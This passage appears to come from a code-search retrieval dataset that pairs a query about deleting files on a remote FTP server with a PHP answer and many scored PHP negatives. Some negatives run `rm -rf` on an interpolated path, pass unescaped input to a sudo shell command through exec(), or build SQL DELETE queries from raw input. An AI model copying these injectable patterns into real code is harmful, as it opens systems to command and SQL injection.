dir');\n\t\n\tif(is_file($dir_file)) return filesize($dir_file);\n\t\n\t$handle=opendir($dir_file);\n\t\n\t$size=0;\n\t\n\twhile(false!==($file=readdir($handle))){\n\t\t\n\t\t\tif($file==\".\" or $file==\"..\") continue;\n\t\t\t\n\t\t\t$file=$dir_file.\"/\".$file;\n\t\t\t\n\t\t\tif(is_dir($file)){\n\t\t\t\t\n\t\t\t\t$size+=$this->get_size($file);\n\t\t\t\n\t\t\t}else{\n\t\t\t\t\n\t\t\t\t$size+=filesize($file);\n\t\t\t\n\t\t\t}\n\n\t}\n\t\n\tclosedir($handle);\n\t\n\treturn $size;\n\n}", "public function uploadlength() {\n return $this->info['upload_content_length'];\n }", "public function getOriginalFileContentLength()\n {\n return $this->originalFileContent->getStringLength();\n }", "public function getSize() : int\n {\n return $this->size;\n }", "public function getSize() : int\n {\n return $this->size;\n }", "public function getSize() : int\n {\n return $this->size;\n }", "public function getSizeInBytes()\n {\n return $this->_sizeInBytes;\n }", "public function size()\n {\n if ($this->exists()) {\n return filesize($this->path);\n }\n\n return false;\n }", "public function getSize() {\n\t\t\treturn $this->getStats( 'bytes' );\n\t\t}", "function my_filesize($file) {\n\t\t$kb = 1024; // Kilobyte\n\t\t$mb = 1024 * $kb; // Megabyte\n\t\t$gb = 1024 * $mb; // Gigabyte\n\t\t$tb = 1024 * $gb; // Terabyte\n\t\t// Get the file size in bytes.\n\t\t$size = filesize($file);\n\t\t/* If it's less than a kb we just return the size, otherwise we keep going until\n\t\tthe size is in the appropriate measurement range. */\n\t\tif($size < $kb) return $size.\" B\";\n\t\telse if($size < $mb) return round($size/$kb,2).\" KB\";\n\t\telse if($size < $gb) return round($size/$mb,2).\" MB\";\n\t\telse if($size < $tb) return round($size/$gb,2).\" GB\";\n\t\telse return round($size/$tb,2).\" TB\";\n\t}", "public function getSize()\n {\n return (int) $this->size;\n }", "public function getSize()\n {\n $curl_options = array (\n CURLOPT_HEADER => 1,\n CURLOPT_NOBODY => 1,\n CURLOPT_RETURNTRANSFER => 1,\n );\n\n $headers = $this->curl_query($curl_options);\n\n if (!$headers) return false;\n\n /* grep Content-Length from response */\n preg_match('/(Content-Length: \\d{1,})/', $headers, $content_length);\n preg_match('/\\d{1,}/', $content_length[0], $size);\n\n return intval($size[0]);\n }", "public function getSize(): int\n {\n return $this->buffer->getSize();\n }", "public function getSize($path)\n {\n return $this->getMetadata($path);\n }", "public function getSize($path)\n {\n return $this->getMetadata($path);\n }", "private function Size($path)\r\n {\r\n $bytes = sprintf('%u', filesize($path));\r\n\r\n if ($bytes > 0)\r\n {\r\n $unit = intval(log($bytes, 1024));\r\n $units = array('B', 'KB', 'MB', 'GB');\r\n\r\n if (array_key_exists($unit, $units) === true)\r\n {\r\n return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);\r\n }\r\n }\r\n\r\n return $bytes;\r\n }", "function count_bytes_all_files() {\n $result = $this->pdo->query('SELECT SUM(size) FROM files');\n return $this->convert_file_size($result->fetchColumn());\n }" ]
[ "0.8730114", "0.82538724", "0.82293874", "0.81534934", "0.8146198", "0.8128485", "0.80618954", "0.8040134", "0.7996801", "0.7946257", "0.7930554", "0.7920779", "0.7913897", "0.7868204", "0.7860843", "0.7859852", "0.78113115", "0.77932215", "0.77717656", "0.7769854", "0.77605164", "0.7696797", "0.76878875", "0.766779", "0.7662977", "0.76506215", "0.76506215", "0.7641695", "0.7641426", "0.7641426", "0.7639776", "0.76315254", "0.76299775", "0.7597782", "0.75967723", "0.75964355", "0.75964355", "0.75964355", "0.759546", "0.7587639", "0.75778174", "0.7539424", "0.7534123", "0.74892634", "0.7483924", "0.7478503", "0.7462815", "0.74227524", "0.74227524", "0.74196607", "0.739559", "0.73876363", "0.73710054", "0.73338205", "0.7333207", "0.73184294", "0.7317826", "0.7297475", "0.7288305", "0.7266421", "0.7255007", "0.72498053", "0.72465223", "0.72252196", "0.7221856", "0.72057945", "0.71868116", "0.71418196", "0.7117052", "0.71090883", "0.7100509", "0.7080325", "0.7040097", "0.70399594", "0.7037367", "0.7024968", "0.70184845", "0.69982165", "0.6989394", "0.6970703", "0.69639635", "0.69617724", "0.6948767", "0.69476056", "0.69430745", "0.6911306", "0.6906308", "0.6906308", "0.6906308", "0.6904433", "0.68980044", "0.68936205", "0.688804", "0.6880283", "0.68636894", "0.6858497", "0.68244064", "0.68244064", "0.682031", "0.68172014" ]
0.6836043
96
Remove executes a delete command on the remote FTP server.
public function delete($file) { if ($this->getActive()) { // Delete the specified file if (ftp_delete($this->_connection, $file)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete(Filesystem $remote, array $options = array());", "public function delete($remoteFile) {\r\n if (!ftp_delete($this->connessione, $remoteFile)) {\r\n echo '<p class=\"error\">IMPOSSIBILE CANCELLARE IL FILE REMOTO: ' . $remoteFile . '</p>';\r\n }\r\n }", "function FTPdelete($file,$path,$parent=''){\n}", "function delete($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_delete($this->_socket, $pathname);\r\n \t} else {\r\n \t $this->putcmd(\"DELE\", $pathname);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function doRemove() {\r\n\t\t$host = xn(\"host\");\r\n\t\t\r\n\t\t$ret = $this->_mongo->selectDB(\"admin\")->command(array(\r\n\t\t\t\"removeshard\" => $host\r\n\t\t));\r\n\t\t\r\n\t\t$this->ret = $this->_highlight($ret, \"json\");\r\n\t\t\r\n\t\t$this->display();\r\n\t}", "public function deleteFtpUserAction()\n\t{\n\t\t$request = $this->_request();\n\t\t$ftpUserId = intval($request->getParam('ftpUserId', null));\n\n\t\t// We want deal with an FTP user entity so we must first get the entity manager instance\n\n\t\ttry {\n\t\t\t// Getting current user identify\n\t\t\t$user = iMSCP_Authentication::getInstance()->getIdentity();\n\n\t\t\t// Entity manager instance\n\t\t\t$em = iMSCP_Api_EntityManager::getInstance();\n\n\t\t\t// We want delete an FTP user so we retrieve it from the datastore by using our API\n\t\t\t$ftpUser = $em->findBy(array('id' => $ftpUserId, 'owner_id' => $user->id));\n\n\t\t\tif(!$ftpUser) {\n\t\t\t\t// Ftp account not found - Probably a wrong request...\n\t\t\t\tsetPageMessage(tr('Unable to found Ftp user with Id %s', $ftpUserId), 'error');\n\t\t\t\tiMSCP_Registry::get('Log')->warn(sprintf('%s tried to deleted an inexistent Ftp account', $user->username));\n\t\t\t} else {\n\t\t\t\t// Here, we get the API proxy instance and will call the method ftp() on it that return an ftp dispatcheableAction\n\t\t\t\t// object (ftp) on which we dispatch the deleteFtpUser action over all declared servers that manage the Ftp service.\n\t\t\t\t$response = iMSCP_Registry::get('api')->ftp->deleteFtpUser($ftpUser); // TIMEOUT for response can be customized here\n\n\t\t\t\t############################################\n\t\t\t\t// Alternate way for the code line above is:\n\t\t\t\t$ftpApi = new iMSCP_Api_Modules_Ftp_Api();\n\t\t\t\t$response = $ftpApi->deleteFtpUser($ftpUser);\n\t\t\t\t############################################\n\n\t\t\t\tif($response->isSuccess()) {\n\t\t\t\t\tsetPageMessage(tr('Ftp account successfully deleted'), 'success');\n\t\t\t\t\tiMSCP_Registry::get('Log')->info(sprintf('%s deleted Ftp account with id %s', $user->username, $ftpUserId));\n\t\t\t\t} else {\n\t\t\t\t\tsetPageMessage(tr('Ftp account deletion failed.'));\n\t\t\t\t\tiMSCP_Registry::get('Log')->error(sprintf('%s was unable to delete Ftp account with id %s', $user->username, $ftpUserId));\n\t\t\t\t}\n\t\t\t}\n\t\t} catch(Exception $e) {\n\t\t\tsetPageMessage(tr('Ftp account creation failed.'));\n\t\t\tiMSCP_Registry::get('Log')->error($e->toString);\n\t\t}\n\n\t\t$this->_redirect('ftp/list');\n\t}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "public function delete()\n {\n $path = $this->getFullPath();\n\n $removed = $this->conn->getSFTP()->delete($path);\n\n $this->conn->getLogger()->debug(get_class($this) . '::remove', array('phpseclib_logs' => $this->conn->getSFTP()->getSFTPLog()));\n $this->conn->getLogger()->info(get_class($this) . '::remove - Removing \"{path}\" on sftp server \"{server}\" {ret}', array(\n 'path' => $path,\n 'server' => $this->conn->getServer(),\n 'ret' => ($removed != false) ? 'succeed' : 'failed',\n ));\n\n if ($removed == false) {\n throw new UnreachableItemException($this);\n }\n\n return $removed;\n }", "public function deleteFileFromServer($p_fileToRemove)\n {\n unlink($p_fileToRemove);\n }", "public function removeAction() {\n $result = array('status' => 'failed');\n if ($this->getRequest()->isPost() && $this->getRequest()->getPost('remove') == 'true') {\n $dirName = Mage::getBaseDir('code').'/local/Balticode/Postoffice';\n if (is_dir($dirName) && file_exists($dirName.'/etc/config.xml')) {\n $directory = new Varien_Io_File();\n $deleteResult = $directory->rmdir($dirName, true);\n if ($deleteResult) {\n $result['status'] = 'success';\n }\n }\n \n }\n $this->getResponse()->setRawHeader('Content-type: application/json');\n $this->getResponse()->setBody(json_encode($result));\n return;\n }", "function fn_rm_by_ftp($target, array $ftp_access)\n{\n try {\n $ftp = new Ftp;\n\n $ftp->connect($ftp_access['hostname']);\n $ftp->login($ftp_access['username'], $ftp_access['password']);\n $ftp->chdir($ftp_access['directory']);\n\n $files = $ftp->nlist('');\n if (!empty($files) && in_array('config.php', $files)) {\n $ftp_target = str_replace(\n Registry::get('config.dir.root'),\n '',\n $target\n );\n\n $ftp_target = ltrim($ftp_target, '/');\n\n $ftp->deleteRecursive($ftp_target);\n\n return true;\n }\n\n return false;\n } catch (FtpException $e) {\n }\n\n return false;\n}", "public function remove_user() { return $this->STOR->remove_user(); }", "protected function _deleteFtpFiles()\n {\n if (is_callable('ftp_connect')) {\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n try {\n $connId = ftp_connect($ftpServer);\n\n $loginResult = ftp_login($connId, $ftpUserName, $ftpPass);\n if (!$loginResult) {\n return false;\n }\n ftp_pasv($connId, true);\n\n $ftpDir = $ftpPath?$ftpPath:'.';\n $nlist = ftp_nlist($connId, $ftpDir);\n if ($nlist === false) {\n return false;\n }\n foreach ($nlist as $file) {\n if (!preg_match('/\\.[xX][mM][lL]$/', $file)) {\n ftp_delete($connId, $file);\n }\n }\n\n ftp_close($connId);\n } catch (Exception $e) {\n Mage::log($e->getMessage());\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "public function actionRemove() {\n if (!isset($_POST['id']))\n die(\"what?\");\n $id = (int) $_POST['id'];\n if ($id < 1)\n die(\"unknown file\");\n CUserfiles::model()->RemoveFile($this->user_id, $id);\n\n echo \"OK\";\n }", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "public function remove() {}", "public function remove() {}", "public function unlinkSV( $server, $url )\n\t{\n\t\tif( $server == 1 )\n\t\t{\n\t\t\t@unlink( $this->root_dir . \"/\" . $this->upload_dir . \"/\" . $this->mod_name . \"/\" . $this->setting['root_contain'] . \"/\" . $url );\n\t\t}\n\t\telseif( $server != 0 )\n\t\t{\n\t\t\t$ftpdata = $this->getFTP();\n\n\t\t\tif( ! isset( $ftpdata[$server] ) ) return;\n\n\t\t\tif( in_array( $ftpdata[$server]['host'], array( 'nhaccuatui', 'zing', 'nhacvui', 'nhacso', 'zingclip', 'nctclip' ) ) ) return;\n\n\t\t\trequire_once ( $this->root_dir . \"/modules/\" . $this->mod_file . \"/class/ftp.class.php\" );\n\t\t\t$ftp = new FTP();\n\t\t\tif( $ftp->connect( $ftpdata[$server]['host'] ) )\n\t\t\t{\n\t\t\t\tif( $ftp->login( $ftpdata[$server]['user'], $ftpdata[$server]['pass'] ) )\n\t\t\t\t{\n\t\t\t\t\t$ftp->delete( $ftpdata[$server]['ftppart'] . $ftpdata[$server]['subpart'] . $url );\n\t\t\t\t}\n\t\t\t\t$ftp->disconnect();\n\t\t\t}\n\t\t}\n\t}", "function Delete($id,$HOST_URL=\"/home/hmongbee/public_html/\"){\n\t\t//chmod(\"/home/hmongbee/public_html/tailieu\",0777);\n\t\t\n\t\t$dirname = $this->fileName($id,\"/home/hmongbee/public_html/\"); \n\t\tchmod($dirname, 0777);\n\t\t\n\t\tif(is_dir($dirname)) { \n\t\t\trmdir($dirname);\n\t\t}\n\t\tif(is_file($dirname) && file_exists($dirname)) {\n\t\t\tunlink($dirname);\n\t\t}\n\t\t// Read and write for owner, read for everybody else\n\t\t//chmod(\"/home/hmongbee/public_html/tailieu\",0644);\n\t\t\n\t\t$sql=\"DELETE FROM `tbl_document` WHERE `doc_id` in ('$id')\"; //echo $sql; die;\n\t\t$objdata=new CLS_MYSQL();\n\t\treturn $objdata->Query($sql);\n\t}", "public function action_remove(){\n\t\t$monumentId = $this->request->param('id');\n\t\t$user = Auth::instance()->get_user();\n\t\t\n\t\t// Remove the monument from the user list\n\t\t$favoriteList = new Model_List_Favorite();\n\t\t$favoriteList->remove($monumentId, $user->UserID);\n\t\t\n\t\t// Redirect the user back to the monument page\n\t\t$this->request->redirect('monument/view/' . $monumentId);\n\t}", "function remove_client_dir(){\n\t\t$cmd=\"rm -rf $this->client_dir\";\n\t\t`$cmd`;\n\t}", "function DeleteRep($HostServer) { // Detruit le repertoire de la sauvegarde de la machine HostServer\n\t$dir_backup=\"/var/lib/backuppc/pc/\";\n\tif($HostServer==\"\") {\n\t\treturn;\n\t}\n\t$rep = $dir_backup.$HostServer;\n\tif(is_dir($rep)) {\n $cmd=\"/usr/bin/sudo /usr/share/se3/scripts/move_rep_backuppc.sh delete \".$HostServer;\n exec($cmd);\n }\n}", "public function deleteFile(string $remoteFile) : bool\n {\n $this->checkConnection();\n\n try {\n $result = $this->removeFile($this->FTPHandle, $remoteFile);\n\n } catch (\\Exception $ex) {\n\n }\n\n return $result ?? false;\n }", "public function DELETE() {\n\t\t$this->scriptForceHint('DELETE');\n\t}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_files() {\n\t\t$rm = escapeshellarg( self::RM );\n\t\t$files = escapeshellarg( $this->tmp_dir );\n\n\t\t$this->exec_with_notify( escapeshellcmd( \"{$rm} -rf {$files}\" ) );\n\t}", "function limpiarCagadas($newId){\r\n\textract($GLOBALS);\r\n\tprint \"<h4>Borrando archivos:</h4>\";\r\n\tforeach( $_SESSION['subidos'] as $k ){\r\n\t\t$auxSvr = split(\"@\", $k);\r\n\t\t$file = $auxSvr[0];\r\n\t\t$srvr = $auxSvr[1];\r\n\t\tprint \"<h4>Borrando registros</h4>\";\r\n\t\tprint \"borrando: $file<br />\";\r\n\t\t\r\n\t\t\r\n\t\t$ftp = new Ftp($servers[$srvr][0], $servers[$srvr][1], $servers[$srvr][2]);\r\n\t\tif( !$ftp->login() )die(\"no se logueó\");\r\n\t\tif( !$ftp->borrar($file) ){\r\n\t\t\tprint \"No se pudo borrar: $file<br />\";\r\n\t\t\terror(\"No se pudo borrar: $file\", true);\r\n\t\t}\r\n\t}\r\n\t\r\n\t$sql =\" DELETE FROM contenidos where id=$newId LIMIT 1; \";\r\n\t$result = mysql_query($sql, $db);\t\r\n\tif(!$result){\r\n\t\terror(\"Error al borrar el contenido $newId - sql: $sql\" , true);\r\n\t}\r\n\tprint \"contenido $newId eliminado!\\n\";\r\n\t$sql =\" DELETE FROM contcol_whitelist where contenido=$newId LIMIT 1; \";\r\n\r\n\t$result = mysql_query($sql, $db);\t\r\n\tif(!$result){\r\n\t\terror(\"Error al borrar de witelist $newId - sql: $sql\" , true);\r\n\t}\r\n\tprint \"contenido $newId eliminado de whitelist!\\n\";\r\n\t$ftp->logout();\r\n}", "public function remove()\n\t{\n\t\t$this->logout();\n\t}", "public function getCommand() {\n return 'remove';\n }", "public function delete()\n {\n global $_PM_;\n $api = 'handler_'.$this->handler.'_api';\n $this->api = new $api($_PM_, PHM_API_UID, $this->principalId);\n $this->api->remove_item($this->item['id']);\n }", "public function delete($fileName)\n\t{\n\t\t$targetFile = $this->translatePath($fileName);\n\n\t\ttry\n\t\t{\n\t\t\t$ret = @ssh2_sftp_unlink($this->sftpHandle, $targetFile);\n\t\t}\n\t\tcatch (\\Exception $e)\n\t\t{\n\t\t\t$ret = false;\n\t\t}\n\n\t\treturn $ret;\n\t}", "public function delete() {\n\t\treturn $this->wire('files')->unlink($this->logFilename, true);\n\t}", "private function deleteFavorite()\n {\n try\n {\n $request = $_REQUEST;\n\n //check if video id provided\n if( !isset($request['videoid']) || $request['videoid']==\"\" )\n throw_error_msg(\"Video Id not provided.\");\n\n if( !is_numeric($request['videoid']) )\n throw_error_msg(\"Video Id is not numeric.\");\n\n if(!userid())\n throw_error_msg(lang(\"you_not_logged_in\"));\n\n $video_id = mysql_clean($request['videoid']);\n global $cbvid;\n $cbvid->action->remove_favorite($video_id);\n \n if( error() )\n {\n throw_error_msg(error('single')); \n }\n\n if( msg() )\n {\n $data = array('code' => \"200\", 'status' => \"success\", \"msg\" => 'removed from favorites succesfully', \"data\" => array());\n $this->response($this->json($data));\n } \n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n }\n }", "public function delete() {\n $result = $this->getFileSystem()->delete($this->getLocalPath());\n if (!$result) {\n // Inform the user if the file could not be deleted\n //File xxx could not be deleted.\n }\n\n return $result;\n }", "public function Delete(){\n $query = \"DELETE FROM user where id=\".$this->id;\n\n $result = $this->dbh->exec($query);\n if ($result) {\n Message::setMessage(\"<div class='yes'>Removed Permanently</div>\");\n } else {\n\n Message::setMessage(\"<div class='no'>Failed to Remove</div>\");\n }\n Utility::redirect(\"volunteers.php\");\n }", "public function rm($server_file)\n\t{\n\t\tif (is_resource($this->_sftp) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t$server_file = (substr($server_file, 0, 1) != '/') ? ('/'.$server_file) : ($server_file);\n\t\tif (file_exists('ssh2.sftp://'.$this->_sftp.$server_file) == FALSE)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\tif (is_file('ssh2.sftp://'.$this->_sftp.$server_file))\n\t\t{\n\t\t\treturn unlink('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn rmdir('ssh2.sftp://'.$this->_sftp.$server_file);\n\t\t}\n\t}", "function delete() {\n\t\t$sql = \"DELETE FROM clients WHERE client_id = $this->client_id\";\n\t\tif (! db_exec ( $sql )) {\n\t\t\treturn db_error ();\n\t\t} else\n\t\t\t$this->_action = 'deleted';\n\n\t\treturn NULL;\n\t}", "public function delete() {\n\n\t \t if(!unlink($this->directory .'/' . $_FILES[$this->inputName]['name']))\n Log::debug('Upload::delete Failed to delete upload');\n else\n Log::debug('Upload::delete Delete successful');\n\t }", "public function removeAction() {\r\n if (empty($_POST['photo_id']))\r\n die('error');\r\n //GET PHOTO ID AND ITEM\r\n $photo_id = (int) $this->_getParam('photo_id');\r\n $photo = Engine_Api::_()->getItem('sesvideo_chanelphoto', $photo_id);\r\n $db = Engine_Api::_()->getDbTable('chanelphotos', 'sesvideo')->getAdapter();\r\n $db->beginTransaction();\r\n try {\r\n $photo->delete();\r\n $db->commit();\r\n } catch (Exception $e) {\r\n $db->rollBack();\r\n throw $e;\r\n }\r\n }", "public function adminRemove()\r\n\t{\r\n\t\treturn;\r\n\t}", "function DeleteFile($fid)\n{\n\tmysql_query(\"UPDATE files SET deleted=true\n\t\tWHERE id='$fid'\") or die('error deleting file');\n}", "public function delete() {}", "public function delete() {}", "public function delete() {}", "public function delete() {}", "public function eliminar(){\n //si el archivo existe\n if(is_file($this->ruta)){\n //doy permisos para eliminar archivos\n chmod($this->ruta, 0777);\n //elimino el archivo y devuelvo el resultado\n return unlink($this->ruta);\n }\n }", "function fileRemove($fileId){\n\tinclude '../../database.php';\n\n\t$stmt = $conn->prepare(\"SELECT * FROM file WHERE file_id=?\");\n\t$stmt->execute(array($fileId));\n\t$filelocation = $stmt->fetch(PDO::FETCH_ASSOC);\n\t$filelocation = $_SERVER[\"DOCUMENT_ROOT\"] . $filelocation;\n\n\tunlink($filelocation);\n\n\t$stmt = $conn->prepare(\"DELETE FROM file WHERE file_id=?\");\n\t$stmt->execute(array($fileId));\n}", "public function deleteImage() {\n header('Access-Control-Allow-Origin: *');\n header(\"Access-Control-Allow-Credentials: true\");\n header('Content-Type: application/json; charset=utf-8');\n header(\"Access-Control-Allow-Methods: POST, GET, OPTIONS\");\n header('Access-Control-Allow-Headers \"Origin, X-Requested-With, Content-Type, Accept');\n\n $result['message'] = 'Xóa hình thất bại!';\n $result['type'] = 'error';\n // Create FTP\n $this->load->library('ftp');\n $config['hostname'] = IP_CLOUDSERVER;\n $config['username'] = USER_CLOUDSERVER;\n $config['password'] = PASS_CLOUDSERVER;\n $config['port'] = PORT_CLOUDSERVER; \n $config['debug'] = FALSE;\n $this->ftp->connect($config);\n\n $path = '/public_html/media/images/content/';\n $folder = $this->input->post('path');\n $image_name = $this->input->post('image_name');\n $image_id = $this->input->post('image_id');\n \n if($image_id != '' && $image_id != 0) {\n $this->load->model('images_model');\n $aImage = $this->images_model->get('*','id = ' . $image_id);\n if(isset($aImage) && count( array($aImage) ) != 0) {\n $this->images_model->delete($image_id,'id',false);\n $this->ftp->delete_file($path.$folder.'/'.$image_name);\n $this->ftp->delete_file($path.$folder.'/'.'1x1_'.$image_name);\n // $aListImageDelete = $this->session->userdata('aListImages');\n // $index = array_search($image_id,$aListImageDelete);\n // unset($aListImageDelete[$index]);\n // $this->session->set_userdata('aListImages',$aListImageDelete);\n $result['message'] = 'xóa hình thành công!';\n $result['type'] = 'success';\n }\n }\n\n echo json_encode($result);\n die();\n }", "function deleteFromFavorites() {\n if($this->getRequestMethod() != \"POST\") {\n $this->response('',406);\n }\n $userId = (int)$this->_request['user_id'];\n $videoId = (int)$this->_request['video_id'];\n $auth = $this->getAuthorization();\n if (!$this->validateAuthorization($userId, $auth)) {\n $this->response('',204);\n }\n if($videoId > 0) { \n $query = \"delete from favorites where user_id=$userId and video_id=$videoId;\";\n $r = $this->conn->query($query) or die($this->conn->error.__LINE__);\n $success = array('status' => \"Success\", \"msg\" => \"Successfully deleted one record.\");\n $this->response(json_encode($success),200);\n } else {\n $this->response('',204);\n } \n }", "public function del()\n {\n }", "public function DELETE() {\n #\n }", "public function deleteVideo() {\n header('Access-Control-Allow-Origin: *');\n header(\"Access-Control-Allow-Credentials: true\");\n header('Content-Type: application/json; charset=utf-8');\n header(\"Access-Control-Allow-Methods: POST, GET, OPTIONS\");\n header('Access-Control-Allow-Headers \"Origin, X-Requested-With, Content-Type, Accept');\n\n $result['message'] = 'Xóa video thất bại!';\n $result['type'] = 'error';\n // Create FTP\n $this->load->library('ftp');\n $config['hostname'] = IP_CLOUDSERVER;\n $config['username'] = USER_CLOUDSERVER;\n $config['password'] = PASS_CLOUDSERVER;\n $config['port'] = PORT_CLOUDSERVER; \n $config['debug'] = FALSE;\n $this->ftp->connect($config);\n $this->load->model('videos_model');\n\n #Create folder\n $pathImage = 'media/images/content/';\n $path = '/public_html/media/images/content';\n $dir_image = $this->session->userdata('sessionUsername');\n $dir = date('dmY');\n $iVideoId = $this->input->post('iVideoId');\n\n $aVideos = $this->videos_model->get(\"*\",'id = '.$iVideoId);\n if(isset($aVideos[0]) && !empty($aVideos[0])) {\n $oVideo = $aVideos[0];\n $this->videos_model->delete($iVideoId,'id',false);\n $this->ftp->delete_file('/public_html/video/'.$oVideo->name);\n $this->ftp->delete_file('/public_html/video/thumbnail/'.$oVideo->thumbnail);\n $this->ftp->delete_file('/public_html/video/thumbnail/thumbnail_1_'.$oVideo->thumbnail);\n }\n \n $result['message'] = 'Xóa video thành công!';\n $result['type'] = 'success';\n\n echo json_encode($result);\n die();\n }", "public function remove($path);", "public function deleteAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Browser_Service_Recsite::getRecsite($id);\n\t\tif ($info && $info['id'] == 0) $this->output(-1, '无法删除');\n\t\tUtil_File::del(Common::getConfig('siteConfig', 'attachPath') . $info['img']);\n\t\t$result = Browser_Service_Recsite::deleteRecsite($id);\n\t\tif (!$result) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功');\n\t}", "public function deleteFile($fid,$uID) {\n\t\tif ($query = $this->db->prepare ( 'SELECT `queries`.`uid` FROM `query_files`\n\t\t\t\tJOIN queries ON query_files.qid = queries.qid\n\t\t\t\tWHERE query_files.fid = ?' )) {\n\t\t\t$query->bind_param ( 'i', $fid );\n\t\t\t$query->execute ();\n\t\t\t$result = $query->get_result();\n\t\t\tif (! $result) {\n\t\t\t\techo $this->db->error;\n\t\t\t\tthrow new dbException ( $this->db->error,'500' );\n\t\t\t}\n\t\t\tif ($result->num_rows == 0) {\n\t\t\t\tthrow new dbException ( '500' );\n\t\t\t}\n\t\t\tif($result->fetch_assoc()['uid'] == $uID || checkPerm(PERM_ADMIN)){\n\t\t\t\tif ($query_2 = $this->db->prepare ( \"UPDATE `files` SET `delete` = 1 WHERE `fid` = ?;\" )) {\n\t\t\t\t\t$query_2->bind_param ( 'i', $fid );\n\t\t\t\t\tif (! $query_2->execute ()) {\n\t\t\t\t\t\tthrow new dbException ( '500' );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthrow new dbException ( '500' );\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tthrow Exception('permission error');\n\t\t\t}\n\t\t}else {\n\t\t\tthrow new dbException ( '500' );\n\t\t}\n\t}", "public function remove() {\n\t\t$this->options->del(['nginx_path']);\n\t}", "public function del(): bool {}", "public function remove() {\n }", "public function deleteFtp($ftp){\n\t\t\tif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == true){\n\t\t\t\tftp_close($this->_connexion);\n\n\t\t\t\tunset($this->_connexionId[$ftp]);\n\t\t\t\tunset($this->_connected[$ftp]);\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telseif(isset($this->_connexionId[$ftp]) && $this->_connected[$ftp] == false){\n\t\t\t\tunset($this->_connexionId[$ftp]);\n\t\t\t\tunset($this->_connected[$ftp]);\n\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$this->_addError('La connexion ftp que vous voulez supprimer n\\'existe pas', __FILE__, __LINE__, ERROR);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function doDelete($path);", "public function delete($filename);", "public static function eliminarServicio($id_servicio){\n \n $eliminar = Neo4Play::client()->getNode($id_servicio);\t\t\n $eliminar->delete();\t\n \n\t}", "function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}", "public function silo_delete($path)\n\t{\n\t}", "public function delete()\n\t{\n\t\t$this->plugin->setResponse($this->deletefriend());\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function deleteFtpAccount($id) \n {\n $this->ftpM->deleteFtpAccounts($id);\n $this->session->set_flashdata('msg', ['success'=>['FTP Account delete success.']]);\n redirect('delete-ftp');\n }", "function remove_image($image_id)\n\t{\n\t\t// global variables from config/db_config.php\n\t\tglobal $idea_db;\n\t\tglobal $images_db_table;\n\t\tglobal $db_hostname;\n\t\tglobal $db_user;\n\t\tglobal $db_password;\n\n\t\t// get the image's name to remove from file system\n\t\t$image = get_image($image_id);\n\n\t\t// construct 